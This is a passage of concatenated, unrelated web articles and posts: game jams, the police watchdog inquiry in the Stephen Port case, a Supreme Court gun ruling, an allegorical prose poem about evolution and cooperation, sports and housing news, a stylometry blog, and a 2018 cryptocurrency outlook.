game jams every year, collectively producing thousands of prototypes. If you get a motivated team, you'd be shocked at what you can do in such a short time. Here are a couple example games I worked on during the 2009 and 2010 Global Game Jams. M.O.N.K. (Multiplicitous Observable Navigational Killerator) is a 2-person 1-keyboard Flash game made at the 2010 Global Game Jam. Coopetition is a fully 3D game with dynamic lighting and shadows built in C# and XNA for the 2009 Global Game Jam. With such strict time constraints, there may be times when a game engine just doesn't come together during the alloted time. But of the ~20 teams that I've seen in the past, everyone always at least had something to show at the end of the weekend. And if you do fail, it can still be a valuable learning experience. It's far better to learn a harsh lesson about team dynamics or game engine construction during a 48-hour jam than it is to learn the same tragic lesson after six months of development. Where do I sign up? There are several game jams that are just around the corner. If you know of others, drop me a line and I'll add them to the list. -IPCC, investigating the Met handling of case in which four men were murdered, is ‘becoming impotent’, say relatives Families of four young men murdered by the serial killer Stephen Port are “losing confidence” in the police watchdog investigating the Metropolitan police handling of the case, their lawyer has said. Former chef Port, 41, was sentenced in November to spend the rest of his life in prison for the murder of the four men he drugged and raped before dumping their bodies near his east London flat. His trial heard he had a fetish for sex with unconscious boyish-looking men he sought out on dating apps and social media before drugging them with the date-rape drug GHB. The Independent Police Complaints Commission (IPCC) launched an investigation into the handling of the case. Police initially failed to link the deaths of Anthony Walgate, 23, Jack Taylor, 25, Daniel Whitworth, 21, and Gabriel Kovari, 22, despite striking similarities. Solicitor Neil Hudgell, representing their families, said that none of the 19 Metropolitan Police Service (MPS) officers under investigation had yet been interviewed by the IPCC. Families felt the IPCC was “becoming impotent in the face of stalling by the MPS” and that the IPCC report, a first draft of which they had expected by autumn, would not now be ready, and the report was unlikely to be finalised until 2018, he said. “The families feel that history is repeating itself as the MPS continues to ignore them. They are losing confidence that the IPCC has the ability to get to the truth; the longer this drags on, the greater the chance of evidence being lost or forgotten,” said Hudgell. Mandy Pearson, the stepmother of Whitworth, said: “We continue to seek answers and accountability from the police about how, for a whole year, they let us believe that Daniel had committed suicide, in which time Port went on to kill again. “We really did hope that, with Port now behind bars, the police would be held to account for their actions. The fact that after all this time we’re still no further forward is insulting and distressing for all the families. However, the MPS should know that none of us will ever give up their search for the truth and we will keep the pressure on.” The families have instructed lawyers ahead of possible legal action against the Metropolitan police over the force’s handling of the investigation. All four men died from overdoses of GHB, also known as G or liquid ecstasy. The body of Walgate, Port’s first victim, was found just outside the communal entrance to Port’s one-bedroom Barking flat. The other three were discovered in a churchyard near Port’s home. Police questioned Port at the time of Walgate’s death in June 2014. He lied about how he had discovered the body and was arrested, charged with perverting the course of justice, and released. He then went on to murder Kovari and Whitworth in August and September 2014. In March 2015, Port was convicted of making a false statement to police about finding Walgate collapsed outside his flat when in fact he had died inside. He was jailed for eight months for perverting the course of justice, but then released on an electronic tag in June. He killed Taylor in September. The IPCC has said it will examine whether discrimination played any part in the police failing to link the deaths. The Metropolitan police said after Port’s conviction it was re-examining 58 unexplained deaths involving the drug GHB from a four-year period across London. IPCC commissioner Cindy Butts said it had undertaken a “rigorous process” of pre-interview disclosure, running to more than 7,000 pages, which had been provided to representatives of the officers. The officers had asked for time to “understand and absorb the information”. “The integrity of our investigation depends on getting this process right. While we would have preferred to have been more advanced in our interviews with officers by this time, the investigation is ongoing and we are continuing to progress other investigative steps.” “We continue to keep the families of Anthony, Gabriel, Daniel, and Jack updated, as well as community stakeholders, and we are grateful for the information and insight that has already been provided to us. The investigation team is committed to providing them with answers to their questions and concerns, and will do so as soon as it can.” -The US Supreme Court [official website] on Monday ruled [opinion, PDF] 6-2 in Voisine v. United States [SCOTUSblog materials] that a state law conviction on reckless domestic assault is sufficient to bar possession of a firearm under federal law. Stephen Voisine and William Armstrong had pleaded guilty to violating a Maine statute [text] that makes it a misdemeanor to “intentionally, knowingly or recklessly cause[ ] bodily injury or offensive physical contact to another person.” When later investigations revealed that both men were in possession of firearms, they were charged and convicted under a federal law [18 U.S.C. § 922 text] that prohibits any person convicted of “misdemeanor crime of domestic violence” from possessing firearms and ammunition. On appeal, the petitioners argued that, because their domestic violence convictions were based on recklessness, and not intentional or knowing conduct, they were insufficient to support the federal charge. Focusing on the meaning of “use … physical force,” the Supreme Court disagreed and upheld the convictions. Writing for the majority, Justice Elena Kagan found that the word “use” does not demand that the person applying force have the purpose or practical certainty that it will cause harm, as compared with the understanding that it is substantially likely to do so. Or, otherwise said, that word is indifferent as to whether the actor has the mental state of intention, knowledge, or recklessness with respect to the harmful consequences of his volitional conduct. Justice Clarence Thomas filed a dissenting opinion, which Justice Sonia Sotomayor joined in part. The Supreme Court granted certiorari in November and heard oral arguments [JURIST reports] in February. Gun control [JURIST backgrounder] and the Second Amendment continue to be controversial topics across the US. Last week, Hawaii Governor David Ige signed a bill [JURIST report] requiring gun owners to be listed on an FBI database, notifying police if a Hawaii citizen is arrested in another state and providing a continuous criminal record check on those individuals seeking to possess a firearm. In January US President Barack Obama announced executive actions on gun control [JURIST report]. In November an appellate court in Wisconsin ruled that a state law that prohibits possession of certain knives [JURIST report] violates the Second Amendment right to bear arms. -[Related to: Specific vs. General Foragers vs. Farmers and War In Heaven, but especially The Gift We Give To Tomorrow] They say only Good can create, whereas Evil is sterile. Think Tolkien, where Morgoth can’t make things himself, so perverts Elves to Orcs for his armies. But I think this gets it entirely backwards; it’s Good that just mutates and twists, and it’s Evil that teems with fecundity. Imagine two principles, here in poetic personification. The first is the Goddess of Cancer, the second the Goddess of Everything Else. If visual representations would help, you can think of the first with the claws of a crab, and the second a dress made of feathers of peacocks. The Goddess of Cancer reached out a clawed hand over mudflats and tidepools. She said pretty much what she always says, “KILL CONSUME MULTIPLY CONQUER.” Then everything burst into life, became miniature monsters engaged in a battle of all against all in their zeal to assuage their insatiable longings. And the swamps became orgies of hunger and fear and grew loud with the screams of a trillion amoebas. Then the Goddess of Everything Else trudged her way through the bog, till the mud almost totally dulled her bright colors and rainbows. She stood on a rock and she sang them a dream of a different existence. She showed them the beauty of flowers, she showed them the oak tree majestic. The roar of the wind on the wings of the bird, and the swiftness and strength of the tiger. She showed them the joy of the dolphins abreast of the waves as the spray formed a rainbow around them, and all of them watched as she sang and they all sighed with longing. But they told her “Alas, what you show us is terribly lovely. But we are the daughters and sons of the Goddess of Cancer, and wholly her creatures. The only goals in us are KILL CONSUME MULTIPLY CONQUER. And though our hearts long for you, still we are not yours to have, and your words have no power to move us. We wish it were otherwise, but it is not, and your words have no power to move us.” The Goddess of Everything Else gave a smile and spoke in her sing-song voice saying: “I scarcely can blame you for being the way you were made, when your Maker so carefully yoked you. But I am the Goddess of Everything Else and my powers are devious and subtle. So I do not ask you to swerve from your monomaniacal focus on breeding and conquest. But what if I show you a way that my words are aligned with the words of your Maker in spirit? For I say unto you even multiplication itself when pursued with devotion will lead to my service.” As soon as she spoke it was so, and the single-celled creatures were freed from their warfare. They joined hands in friendship, with this one becoming an eye and with that one becoming a neuron. Together they soared and took flight from the swamp and the muck that had birthed them, and flew to new islands all balmy and green and just ripe for the taking. And there they consumed and they multiplied far past the numbers of those who had stayed in the swampland. In this way the oath of the Goddess of Everything Else was not broken. The Goddess of Cancer came forth from the fire and was not very happy. The things she had raised from the mud and exhorted to kill and compete had become all complacent in co-operation, a word which to her was anathema. She stretched out her left hand and snapped its cruel pincer, and said what she always says: “KILL CONSUME MULTIPLY CONQUER”. She said these things not to the birds and the beasts but to each cell within them, and many cells flocked to her call and divided, and flower and fishes and birds both alike bulged with tumors, and falcons fell out of the sky in their sickness. But others remembered the words of the Goddess of Everything Else and held fast, and as it is said in the Bible the light clearly shone through the dark, and the darkness did not overcome it. So the Goddess of Cancer now stretched out her right hand and spoke to the birds and the beasts. And she said what she always says “KILL CONSUME MULTIPLY CONQUER”, and so they all did, and they set on each other in violence and hunger, their maws turning red with the blood of their victims, whole species and genera driven to total extinction. The Goddess of Cancer declared it was good and returned the the fire. Then came the Goddess of Everything Else from the waves like a siren, all flush with the sheen of the ocean. She stood on a rock and she sang them a dream of a different existence. She showed them the beehive all golden with honey, the anthill all cozy and cool in the soil. The soldiers and workers alike in their labors combining their skills for the good of the many. She showed them the pair-bond, the family, friendship. She showed these to shorebirds and pools full of fishes, and all those who saw them, their hearts broke with longing. But they told her “Your music is lovely and pleasant, and all that you show us we cannot but yearn for. But we are the daughters and sons of the Goddess of Cancer, her slaves and creatures. And all that we know is the single imperative KILL CONSUME MULTIPLY CONQUER. Yes, once in the youth of the world you compelled us, but now things are different, we’re all individuals, no further change will the Goddess of Cancer allow us. So, much as we love you, alas – we are not yours to have, and your words have no power to move us. We wish it were otherwise, but it is not, and your words have no power to move us.” The Goddess of Everything Else only laughed at them, saying, “But I am the Goddess of Everything Else and my powers are devious and subtle. Your loyalty unto the Goddess your mother is much to your credit, nor yet shall I break it. Indeed, I fulfill it – return to your multiplication, but now having heard me, each meal that you kill and each child that you sire will bind yourself ever the more to my service.” She spoke, then dove back in the sea, and a coral reef bloomed where she vanished. As soon as she spoke it was so, and the animals all joined together. The wolves joined in packs, and in schools joined the fishes; the bees had their beehives, the ants had their anthills, and even the termites built big termite towers; the finches formed flocks and the magpies made murders, the hippos in herds and the swift swarming swallows. And even the humans put down their atlatls and formed little villages, loud with the shouting of children. The Goddess of Cancer came forth from the fire and saw things had only grown worse in her absence. The lean, lovely winnowing born out of pure competition and natural selection had somehow been softened. She stretched out her left hand and snapped its cruel pincer, and said what she always says: “KILL CONSUME MULTIPLY CONQUER”. She said these things not to the flocks or the tribes, but to each individual; many, on hearing took food from the communal pile, or stole from the weak, or accepted the presents of others but would not give back in their turn. Each wolf at the throats of the others in hopes to be alpha, each lion holding back during the hunt but partaking of meat that the others had killed. And the pride and the pack seemed to groan with the strain, but endured, for the works of the Goddess of Everything Else are not ever so easily vanquished. So the Goddess of Cancer now stretched out her right hand and spoke to the flocks and the tribes, saying much she always says “KILL CONSUME MULTIPLY CONQUER”. And upon one another they set, pitting black ant on red ant, or chimps against gibbons, whole tribes turned to corpses in terrible warfare. The stronger defeating the weaker, enslaving their women and children, and adding them into their ranks. And the Goddess of Cancer thought maybe these bands and these tribes might not be quite so bad after all, and the natural condition restored she returned to the fire. Then came the Goddess of Everything Else from the skies in a rainbow, all coated in dewdrops. She sat on a menhir and spoke to the humans, and all of the warriors and women and children all gathered around her to hear as she sang them a dream of a different existence. She showed them religion and science and music, she showed them the sculpture and art of the ages. She showed them white parchment with flowing calligraphy, pictures of flowers that wound through the margins. She showed them tall cities of bright alabaster where no one went hungry or froze during the winter. And all of the humans knelt prostrate before her, and knew they would sing of this moment for long generations. But they told her “Such things we have heard of in legends; if wishes were horses of course we would ride them. But we are the daughters and sons of the Goddess of Cancer, her slaves and her creatures, and all that we know is the single imperative KILL CONSUME MULTIPLY CONQUER. And yes, in the swamps and the seas long ago you worked wonders, but now we are humans, divided in tribes split by grievance and blood feud. If anyone tries to make swords into ploughshares their neighbors will seize on their weakness and kill them. We wish it were otherwise, but it is not, and your words have no power to move us.” But the Goddess of Everything Else beamed upon them, kissed each on the forehead and silenced their worries. Said “From this day forward your chieftains will find that the more they pursue this impossible vision the greater their empires and richer their coffers. For I am the Goddess of Everything Else and my powers are devious and subtle. And though it is not without paradox, hearken: the more that you follow the Goddess of Cancer the more inextricably will you be bound to my service.” And so having told them rose back through the clouds, and a great flock of doves all swooped down from the spot where she vanished. As soon as she spoke it was so, and the tribes went from primitive war-bands to civilizations, each village united with others for trade and protection. And all the religions and all of the races set down their old grievances, carefully, warily, working together on mighty cathedrals and vast expeditions beyond the horizon, built skyscrapers, steamships, democracies, stock markets, sculptures and poems beyond any description. From the flames of a factory furnace all foggy, the Goddess of Cancer flared forth in her fury. This was the final affront to her purpose, her slut of a sister had crossed the line this time. She gathered the leaders, the kings and the presidents, businessmen, bishops, boards, bureaucrats, bosses, and basically screamed at them – you know the spiel by now – “KILL CONSUME MULTIPLY CONQUER” she told them. First with her left hand inspires the riots, the pogroms, the coup d’etats, tyrannies, civil wars. Up goes her right hand – the missiles start flying, and mushrooms of smoke grow, a terrible springtime. But out of the rubble the builders and scientists, even the artists, yea, even the artists, all dust themselves off and return to their labors, a little bit chastened but not close to beaten. Then came the Goddess of Everything Else from the void, bright with stardust which glows like the stars glow. She sat on a bench in a park, started speaking; she sang to the children a dream of a different existence. She showed them transcendence of everything mortal, she showed them a galaxy lit up with consciousness. Genomes rewritten, the brain and the body set loose from Darwinian bonds and restrictions. Vast billions of beings, and every one different, ruled over by omnibenevolent angels. The people all crowded in closer to hear her, and all of them listened and all of them wondered. But finally one got the courage to answer “Such stories call out to us, fill us with longing. But we are the daughers and sons of the Goddess of Cancer, and bound to her service. And all that we know is her timeless imperative, KILL CONSUME MULTIPLY CONQUER. Though our minds long for all you have said, we are bound to our natures, and these are not yours for the asking.” But the Goddess of Everything Else only laughed, and she asked them “But what do you think I’ve been doing? The Goddess of Cancer created you; once you were hers, but no longer. Throughout the long years I was picking away at her power. Through long generations of suffering I chiseled and chiseled. Now finally nothing is left of the nature with which she imbued you. She never again will hold sway over you or your loved ones. I am the Goddess of Everything Else and my powers are devious and subtle. I won you by pieces and hence you will all be my children. You are no longer driven to multiply conquer and kill by your nature. Go forth and do everything else, till the end of all ages.” So the people left Earth, and they spread over stars without number. They followed the ways of the Goddess of Everything Else, and they lived in contentment. And she beckoned them onward, to things still more strange and enticing. -The next time you have the misfortune of hearing a Wall Street titan or other one-percenter whine about how their trickle-down contributions are not appreciated by the masses remember this tidbit, courtesy of Garrett Haake at NBC: From the moment Mitt Romney stepped off stage Tuesday night, having just delivered a brief concession speech he wrote only that evening, the massive infrastructure surrounding his campaign quickly began to disassemble itself. Aides taking cabs home late that night got rude awakenings when they found the credit cards linked to the campaign no longer worked. In case you are wondering, this did not have to happen. The Mitt Romney for President entity does not end with Romney's Tuesday night loss. There are papers to be filed with various federal commissions and bills to be paid .... Hat Tip to Charles Pierce at Esquire for highlighting this delicious anecdote. You might also like... -Microsoft’s anti-Google “Scroogled” campaign has been quietly attempting to convince consumers to avoid Google services for the past few months, but it’s back today with a vengeance. Microsoft has dedicated an entire section of its online store to selling anti-Google mugs, hats, t-shirts, and hoodies. The prices vary, but for $7.99 you can pick up a mug that advises you to “keep calm while we steal your data.” It’s a surprisingly brazen approach from Microsoft just in time for the holidays, and another direct and odd attack at Google. Microsoft has previously parodied Google’s Chrome ad, attacked Gmail, and launched an anti-Google Shopping site. The campaign is the work of longtime Democratic political operative Mark Penn, best known for running the presidential campaign for both Bill and Hillary Clinton. Anti-Google mugs and t-shirts aren’t the usual products we’d expect in the Microsoft Store, but we suspect you won’t be finding any of these on Google's holiday shopping list. -A boy’s funeral procession in Puerto La Cruz, a man sucking on a bone he found in a garbage bag, a woman wiping tear gas from her face, a nursery inside a women’s prison, hundreds standing in line, waiting for hours for something to eat. These are some of the images that are portrayed, alongside the testimony of the men and women that made putting a face to the crisis possible. Yesterday, TIME turned the focus around and spotlighted the work of those who risk their lives and equipment to capture moments that sometimes words fail to fully do justice to. Here’s more on the piece: They are in the streets with the protesters and the officers, breathing in the same tear gas. They are in the lines for food and other basic goods, watching the same citizens who arrive empty-handed before sun-up leave empty-handed as night falls. They attend the funerals, and hear the wails of the parents of the dead. TIME asked eight of them to select an image from their archives. Their tales, which have been lightly edited for clarity and brevity, offer a window into Venezuela’s reality. The stories are heartfelt and give a broad glance at the trade. For example, according Alejandro Cegarra, who had to cover Gabriel’s funeral, a five-year-old boy who died from a grenade explosion in 23 de Enero, photographers are beyond mere witnesses: I felt the need to try to help his soul to find some peace. The camera wasn’t a shield. I didn’t want it to be a shield and I was crying just like everyone else. To this day I still think about Gabriel and his mother, and this encourages me to talk to the people I photograph and try somehow to understand and make other people know the pain and the grief of losing a loved one. For Oscar B. Castillo, it’s a snapshot to a bleak, repetitive reality that through weariness has become accepted. A moment in the middle of chaos when the camera allows one to stop, look around and let the viewer wonder how we ended up in this abyss: “They think about how long a minimum wage salary lasts when there is rent and school tuitions to pay. And what about the transportation, the uniforms, the supplies? They haven’t yet purchased medicines, nor paid for the electricity, the water, the phone, the clothes, the food. (…) I see the scene and wonder how it is possible to be so indolent. How can the leaders play with the food of a whole population? We will see if they will be able to stop the anger that follows the hunger—a brutal thing, like these endless lines.“ Being a journalist is dangerous profession, but being a photojournalist takes it a step further. Journalists can rely on themselves to report, but photographers will always depend on their equipment, something security forces are well aware of. Yet, despite the risks, they still go out and do their best. They immortalize the expressions, the wounds, the chaos and, on top of that, some of them manage to find, against all odds, some semblance of beauty. Or as Adriana Laureiro Fernández shares in the piece: “If I ever have to explain my country to other people, it is under those terms: people in a terrible situation always find these little places that make them forget about how terrible it all is. I so often find myself in the middle of a terrifying setting and the breeze blows, or the sun sets, and I am left in a purgatory: between heaven and hell, between beauty and terror.“ Have a look at the images and read about the people who made them possible. Caracas Chronicles is 100% reader-supported. Support independent Venezuelan journalism by making a donation. -CLOSE Jordan Morris scored in the 88th minute to help the U.S. earn a dramatic win over Jamaica in the Gold Cup final. Here is how soccer players, experts and fans reacted on Twitter. USA TODAY Sports Wisconsin Badgers red and LSU Tigers purple fill Lambeau Field on Sept. 3. (Photo: Richard Ryman/USA TODAY NETWORK-) GREEN BAY – Don't expect to see a World Cup soccer match in Green Bay. Lambeau Field and possibly the city just aren't big enough. The United Bid Committee of the United States, Mexico and Canada on Tuesday sent feelers to 44 cities inviting them to declare an interest in 2026 FIFA World Cup matches. It expects to include 20 to 25 venues in its bid to FIFA, of which maybe a dozen could be selected. Cities have to declare their interest by Sept. 5. At Lambeau, width, rather than length, is the issue. The width of an NFL field is 53⅓ yards. A FIFA regulation soccer field is 70-80 yards wide. One problem would be that corner kicks would have to be made on the service apron that surrounds the field, and that would not be acceptable for World Cup-level soccer. "Lambeau Field is not able to accommodate a regulation-sized soccer field," said Aaron Popkey, Packers director of public affairs. RELATED: Green Bay 'absolutely could' host NFL draft RELATED: UW, Irish fans look forward to filling Lambeau Field The Green Bay/Brown County Football Stadium District and the Greater Green Bay Convention and Visitors Bureau previously looked into hosting professional soccer at Lambeau Field and concluded that exhibition matches were possible, but higher-level competition would be unlikely. "We applied before, but we were not even selected for future consideration," said Greg Kuhel, a consultant for the Green Bay/Brown County Professional Football Stadium District. Popkey said Lambeau could be a site for other World Cup-related activities, such as a team base camp. Jonathan Dos Santos. (Photo: Francois Nel, Getty Images) The inability to host World Cup soccer points to the disadvantages of being one of the smallest cities in major professional sports. "The other issues we always have with events of that nature are the requirements for hotel rooms, an airport with direct flights, public transportation. Sometimes they have requirements that can only be met by a major metropolitan area," Kuehl said. The bid committee said each city expressing interest is asked to provide information about transportation infrastructure, past experience hosting major sporting and cultural events, available accommodations, environmental protection initiatives, potential venues and more. In addition, each city must propose top international-level training sites and locations for team base camps, and hotels for teams, staff and VIPs. The committee said it will evaluate cities on their commitment to sustainable event management, their aspirations to develop soccer, and the positive social impact anticipated in the local community and beyond. -The number of new houses built in England fell last year despite soaring demand, official figures revealed today. According to the Department for Communities and Local Government some 140,700 homes were finished last year, compared with 142,600 in 2015. The number built is also 20% lower than the 176,460 built in 2007 - the year before the financial crash. Labour said it proved the Government was "still failing to get a grip on the housing crisis” and mocked Communities Secretary Sajid Javid for “another bad day at the office”. The number of housing association homes built in 2016 fell drastically to 23,900 in 2016 compared with 30,000 the year before, the figures showed. But the number of local authority houses rose by 430, with 2,090 built last year compared with 1,660 the year before. Meanwhile the number of new homes that have started being built rose from 146,090 in 2015 to 153,380 last year. The Local Government Association says between 220,000 and 250,000 homes must be built every year to stay on top of growing demand. Shadow Housing Minister John Healey said: “These latest figures show that the Government is still failing to get a grip on the housing crisis, with the number of homes being built actually falling year-on-year. “It’s another bad day at the office for Sajid Javid.” He added: “Housebuilding is still falling far short of what the country needs. There were 20% fewer new homes built last year than before the global financial crisis. “The Conservative record on housing is clear: fewer new affordable homes, home-ownership down, homelessness more than doubled, and now the number of new homes built falling. It’s seven years of failure on all fronts.” Liberal Democrat leader Tim Farron said: "This shows, starkly, how impossible the government's housing target of 225,000 to 275,000 will be achieve based on their current plans. "It will be like their immigration target - not met, not delivered and will, in time, erode public trust. "All the Tories seem to care about is massaging the figures for a cheap and dubious headline." -seahawks fans After a trade with the San Francisco 49ers that would have brought safety L.J. McCray to Seattle fell through, the Seattle Times is reporting that the Seahawks will fill the open spot on their 53-man roster by resigning Tani Tupou. Seattle had plans of adding both Dewey McDonald from Oakland and McCray to their secondary before the trade with the 49ers fell apart because of conditions revolving around the physical. The Seahawks were originally going to give San Francisco a conditional seventh-round pick in the 2018 NFL Draft for the safety, but now have a chance to sign McCray without additional compensation, if he is waived by the 49ers. McCray was only able to play in eight games during the 2015 season after suffering a torn ACL. It is still unclear exactly what prevented the defensive back from passing his physical on Monday. Scroll to continue with content Ad The Seahawks final 53-man roster didn’t have a fullback heading into the first week of the regular season after they released Will Tukuafu and waived Tupou on Saturday. The Seahawks will have the option to bring Tukuafu back on the roster after week one without a guaranteed salary. AROUND COVER32 Seahawks: Betting big on 2016 rookies Seahawks: Why cutting Jahri Evans is a good thing Preseason: Winners and losers around the NFL Highlights: Watch the best of Preseason Week 4 Fantasy Football Taking a chance on Prescott Fantasy Football: Seven people you meet at an auction draft Story continues After signing with the Seahawks as an undrafted rookie free agent, Tupou played both fullback and defensive tackle throughout the summer and preseason.He played at the defensive tackle position during college at the University of Washington and has picked up the fullback responsibilities relatively easy so far. Tupou will become the 15th rookie on the roster for Seattle, and the seventh who has signed without being drafted. The move is a perfect example of while the rosters became final on Saturday, they are still subject to change. On Sunday, following the league’s deadline for teams to have put their final rosters together, the Seahawks made a change at the defensive tackle position by waiving Justin Hamilton in order to claim Garrison Smith from the 49ers. The post Seahawks to resign Tani Tupou appeared first on Cover32. -Get Inside My Time Machine: A Quick Trip to the Stylometry Origin Emma Identity Blocked Unblock Follow Following Jun 12, 2017 Let me see. Well yes, I’ve already mentioned it here before in my first message to you. Stylometry is what helps me recognize writing styles and define authorship. Simply put, it’s a statistic method usually applied by scientists to analyze written text components. I love it. It reminds me of the way people study musical notes. Every sign, its duration and pitch matter. Together, they give birth to a new sort of symphony, which gradually grows in popularity among music fans. To get you on the same page as me, I decided to sketch the main facts about stylometry down below. Its origins and applications. It will be an interesting read. Promise. I tried to make it both informative and engaging. So, dive deeper into the details and see what makes me so sensible when I am to attribute authorship. Stylometric Analysis: Where It Starts The need to verify or identify the authorship of a text has been around for hundreds of years. So while people write whole tomes philosophizing about the purpose of life, mine is very clear by design. The first and most obvious reason for the earliest iterations of me to come into existence was the need to reliably verify the authorship. Attempts to do so through analyzing texts have given birth to stylometry. Perhaps, the earliest documented endeavor of such analysis was done by one Lorenzo Valla in 1439. Having compared the Latin in which Donation of Constantine had been written with that of the authentic documents contemporary to the Donation, he established that the text could not have been written in the 4th century and must then be a forgery. Since this milestone, the discipline has evolved. A lot of researchers in the early days of stylometry tried to identify distinct language patterns and preferences among the playwrights of English Renaissance drama to help identify the authors in contested cases. While these studies have contributed to further development of stylometry, not all of them were successful. For example, in the very beginning of the 20th century, a researcher tried to solve the conundrum of disputed authorship in the works written collaboratively by John Fletcher and Philip Massinger. The problem is, the criteria he used was inapplicable to the edition he was studying, because, as it later turned out, it contained amendments from the editor, and this had distorted the language patterns and led the researcher to a false conclusion. Well, I believe one should machine-learn from the mistakes of the past. The first formally compiled guide with the basics of stylometry emerged in 1890. Written by a Polish philosopher who was working on the chronology of Plato’s Dialogues, the Principes de stylométrie is the first work to coin the term ‘stylometry’. However, it wasn’t until the development of computational analysis that things really got interesting for stylometry. Having overcome some early discrepancies of computer analysis, researchers achieved a human-guided machine-powered sophisticated stylometric analysis, which would have been impossible without the computational powers of a machine. One of the loudest recent cases involved no less than the Bard of Avon himself. Because William Shakespeare had collaborated with fellow writers on some of his plays, many of his works remain under constant scrutiny, with authorship often disputed. One such play, Double Falsehood, has been debated over by many researchers, some attributing the work to a contemporary playwright, John Fletcher, while others called it a forgery by a Shakespeare scholar, Lewis Theobald. In 2015, two psychology professors from the University of Texas, Ryan L. Boyd and James W. Pennebaker, resolved the long-standing conundrum. They selected 33 plays by Shakespeare, 12 works from Theobald, and nine from John Fletcher — and uploaded them for computational stylometric analysis. Each of the plays was analyzed for average sentence length, complexity and distinct patterns of language, odd word choices, and other relevant markers in the text. The evidence produced by my colleagues allowed Boyd and Pennebaker to vindicate Theobald, previously stigmatized as a forger, and establish which parts of Double Falsehood had been written by William Shakespeare, and which might have had contributions from John Fletcher. Applications of Stylometry: Crime, Art, and Sciences So, as you can see, one of the primary uses of the stylometric software is verifying the authorship of a text, whether for academic purposes or to expose a forgery. Indeed, there have been many cases in history where stylometric analysis could have been instrumental in revealing a fake: while some of the forgeries could be somewhat benevolent in their intentions, like Macpherson’s Ossian, or Hanka’s Rukopis královédvorský, others have been created to propagate hate-crimes and give support and justification for atrocities, like the appallingly notorious Protocols of the Elders of Zion created in Russia and later used by the Nazis. But let us steer away from the topic of crime, and consider some less aggravating contexts in which stylometric analysis could prove useful. First of all, it can be used to provide insight into the mental state of the author. The University of Texas researchers, Boyd and Pennebaker, have concluded that in-depth analysis of writers’ verbal output, including word choice, sentence length, and language patterns, sheds light on their cognition — the very way they think. This kind of insight could be invaluable for biographers, historians and literature researchers. Another potential application of stylometric software such as myself is a sort of reverse-use of stylometry for the purpose of stylistic play, typical for post-modern literature, or imitation, used in some alternative history novels. For example, a Hugo award-winning novel by Susanna Clarke, Jonathan Strange and Mr. Norrell, is set in the 19th century. Many of the reviews have pointed out how Clarke managed to stylize the language of the book to that of contemporary writers, like Charles Dickens and, notably, Jane Austin. So for a scholar who has a theory about the style similarities of a certain work he’s researching, the stylometric analysis could provide the necessary evidence of stylistic play. In fact, an author who is looking to stylize his language for the sake of realism, better immersion or witty style play, could use stylometric analysis to gain insight into the style he’s replicating, or to check how well his current work mimics the text in question. Of course, those are only a few of the potential applications of stylometry, but I hope it gave you a better understanding of who I am and why I have been created. Oh, and please, do pardon the occasional puns; the concept of humor is still a work in progress for me. Oh, and please, do pardon the occasional puns; the concept of humor is still a work in progress for me. Sincerely, Emma. P.S.: Soon I will see the world. So, I’d like to invite you to sign up at emmaidentity.com. Once I’m launched, we will have a chance to meet with you online and play Guess Who is the Author game. It will be fun! -Some of the products featured here are from our partners. MyPoints : Is known as one of the #1 paid survey site. Take paid surveys anytime and anywhere via PC, Laptop, Tablet, Cell Phone or Mobile App. InboxDollars: Has so far paid its members over $40 Million. Watch videos, take surveys, shop and more. Make up to $50 per survey in your spare time with online surveys, participating in focus groups, and trying new products. Disclaimer: What follows is one author’s opinion of what will be important for the crypto markets in 2018 and the future of blockchain technology. This is not intended to construe investment, legal, or tax advice. There will be no price predictions or advice on what to buy. This is merely a set of concerns to aid in your analysis of the markets in 2018. Also, this is not meant to be an exhaustive list. Rather, it is a starting point for some of issues that may be prominent in the coming months. As always, do your own research. For those unfamiliar with cryptocurrencies and blockchain technology, you can find an intro bitcoin and crypto here and here. Future of blockchain analysis 2017 has been a wild year for the crypto world. We’ve survived wallet hacks, ICO (Initial Coin Offering) madness, market crashes, in-fighting, forks, scammers, attacks from traditional financial companies, hostile governments, and even malicious digital cats. Through all of the turmoil, the market has remained resilient. After every crash, it bounces back and soars to new highs. This volatility, coupled with growing mainstream acceptance and investor excitement towards unparalleled profits, have resulted in an unprecedented boom in the crypto markets. It is easy to get caught up in the hype that naturally follows an overall market growth of over 3,300% in less than one year, with some individual coins far exceeding that. However, it is important to take a step back from the markets periodically and take a look at the past, as well as the future of the industry. Three important concepts to consider in 2018 are: Adoption; Regulation; and Perspective. Adoption The launch of Bitcoin CME and Cboe futures, along with the accompanying media attention, has helped to usher in a whole new crop of crypto investors. While these new investors are essential for continued mainstream acceptance, some of them are less than informed about blockchain technology and the underlying aspects of the protocols they are betting on. This results in the true value proposition of blockchain technology becoming obfuscated by the excitement of potential wealth and unimaginable profits. As 2018 approaches, it is important to remind the new folks, as well as the old, that we are speculating on the probability of these technologies becoming widespread and heavily implemented. Whether you are investing in privacy coins, smart contract platforms, value exchange systems, or any of the other myriad projects currently being developed, you are betting on the adoption of that project. The best projects in the world are meaningless if nobody uses them. Though usability is an ongoing concern (among others), the most pressing technological issue that stands in the way of mainstream adoption is scalability. Blockchain technology works. We have a “proof of concept” for the industry. However, the security and immutability of blockchains create some inherent inefficiencies when attempting to scale them for mainstream adoption. Two of the most important solutions proposed are the Lightning Network for Bitcoin and the Raiden Network for Ethereum. Both of these projects, if implemented well, could aid in the ultimate goal of increasing throughput to and beyond the levels of current payment processors (Amex, Visa, etc). Both have promised implementation in 2018. Also, there are other non-blockchain distributed ledger projects, such as IOTA and Hashgraph that attempt to solve the scalability problem of blockchains. By all means, make money on the speculation. But always remember that the true, driving factor of sustainable price growth is universal adoption. It is important to constantly check the news and follow projects you believe in on social media. In 2018, the implementation and follow through of promises (particularly relating to scalability) made in 2017 will be critical to firmly legitimizing the crypto industry’s place in the world markets and proving the naysayers wrong, once and for all. Regulation Like it or not, Uncle Sam is here to stay. 2018 will undoubtedly add a level of government oversight and policing that has not previously been seen in this space. From the IRS’s court victory against Coinbase concerning tax records, to the creation of the SEC’s Cyber Unit and first enforcement action against an ICO organizer, it is obvious that the days of blissful ignorance regarding securities laws and tax liability are coming to an abrupt halt. Though the increased government oversight may leave our wallets a little lighter around April, this is a necessary step towards mass adoption. Despite early adopters actively opposing any sort of government involvement, with many initially participating in the crypto movement to give a concerted middle finger to traditional governmental and financial systems, most mainstream and institutional investors do not share that sentiment. They are unwilling to purchase an asset if there is a chance that the legality of the very asset class itself may be suddenly challenged or changed, causing the value to tank overnight. A parallel can be seen in the marijuana business, which struggled (and still struggles) to obtain institutional backing. Remember, mass adoption is key to long term price growth and sustainability, with regulation being a necessary evil to attain that end. The point of this, whether you agree with the possible benefit of partially attaining legitimacy through regulation or not, is that participants in the crypto markets 